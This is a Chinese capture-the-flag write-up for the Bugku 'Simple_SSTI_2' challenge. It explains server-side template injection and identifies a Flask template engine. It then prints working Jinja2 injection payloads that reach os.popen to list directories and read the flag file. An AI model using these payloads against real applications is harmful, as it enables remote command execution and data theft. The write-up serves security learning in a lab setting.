Bugku:Simple_SSTI_2

目录

1.进入网站查看题目

2.开始尝试

3.判断引擎模板类型

4.构造语句,开始注入

5.得到flag

1.进入网站查看题目

再查看源代码,发现没有什么有用的。

根据题目提示SSTI,搜索一下SSTI,了解一下。

   SSTI (服务器端模板注入)也是格式化字符串的一个非常好的例子,如今的开发已经形成了非常成熟的 MVC的模式,我们的输入通过 V 接收,交给 C ,然后由 C 调用 M 或者其他的 C 进行处理,最后再返回给 V ,这样就最终显示在我们的面前了,那么这里的 V 中就大量的用到了一种叫做模板的技术,这种模板请不要认为只存在于 Python 中,感觉网上讲述的都是Python 的 SSTI ,在这之前也给了我非常大的误导(只能说自己没有好好研究,浅尝辄止),请记住,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

2.开始尝试

先用get传入一个flag参数试试

3.判断引擎模板类型

显示为flag参数的值,可以知道页面会显示被传入flag参数的值,然后进行报错看一看网站使用的模板类型

4.构造语句,开始注入

可以看出是用的python的flask模板,开始构造语句进行注入

?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

发现目录,进入app目录,发现flag文件

?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}

5.得到flag

用cat命令查看flag,得到flag

?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值